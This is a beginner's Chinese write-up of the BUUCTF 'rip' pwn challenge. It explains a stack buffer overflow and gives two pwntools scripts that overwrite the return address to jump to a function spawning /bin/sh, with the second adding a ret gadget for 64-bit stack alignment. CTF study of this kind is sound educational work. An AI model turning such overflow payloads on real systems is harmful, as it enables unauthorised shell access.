天天看點

初學pwn-BUUCTF(rip)初學pwn-writeUp

初學pwn-writeUp

BUUCTF平台的一道題目,rip。

與之前同樣的步驟,啟動靶機,連結遠端

初學pwn-BUUCTF(rip)初學pwn-writeUp

發現這裡提示輸入一些内容,但是輸入完成之後,這裡就結束了。還是要打開檔案檢視一下。

初學pwn-BUUCTF(rip)初學pwn-writeUp

看到這裡,隻有一個輸入的過程可以操作,那就很清楚了,就是要棧溢出了。點進去看一下。

初學pwn-BUUCTF(rip)初學pwn-writeUp

可以看到這裡s這個數組是15個位元組,到r這個傳回值還需要8個位元組。不過這裡要注意的一點是,這個15是十進制的,不能像之前再在數字之前加0x标記十六進制,這裡可以直接寫十進制。

摁shift+f12,可以看到這時還有什麼位址可能會用到,

初學pwn-BUUCTF(rip)初學pwn-writeUp

發現了我們的關鍵字,/bin/sh,這就是我們想要的指令,繼續檢視,可以發現,這個指令在fun()函數中。

初學pwn-BUUCTF(rip)初學pwn-writeUp

那就簡單了,跟之前的套路完全一樣,隻要把fun函數的位址傳回給剛剛我們在s數組後看到的r中就可以。

編寫腳本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401186).decode("iso-8859-1");
p.sendline(payload);

p.interactive();
           

但是很遺憾,失敗了。

初學pwn-BUUCTF(rip)初學pwn-writeUp

執行腳本之後,發現并沒有獲得shell權限。遇到這個問題,就很奇怪,明明是沒有什麼問題,很簡單的一個練習。隻能求助于百度。搜尋之後發現64位系統中,需要位址對齊之後才可以執行system。這裡需要在fun函數的位址之前加一個retn的位址,在IDA-view裡随便找一個retn的指針都可以。具體的原理還沒了解,不過這樣可以解決位址對齊的問題。

修改腳本

from pwn import *

p = remote("node4.buuoj.cn", 25119);

payload = 'a' * 23 + p64(0x401185).decode("iso-8859-1") +  p64(0x401186).decode("iso-8859-1");
#p.recvuntil("please input");
p.sendline(payload);

p.interactive();
           

解決問題!

PWN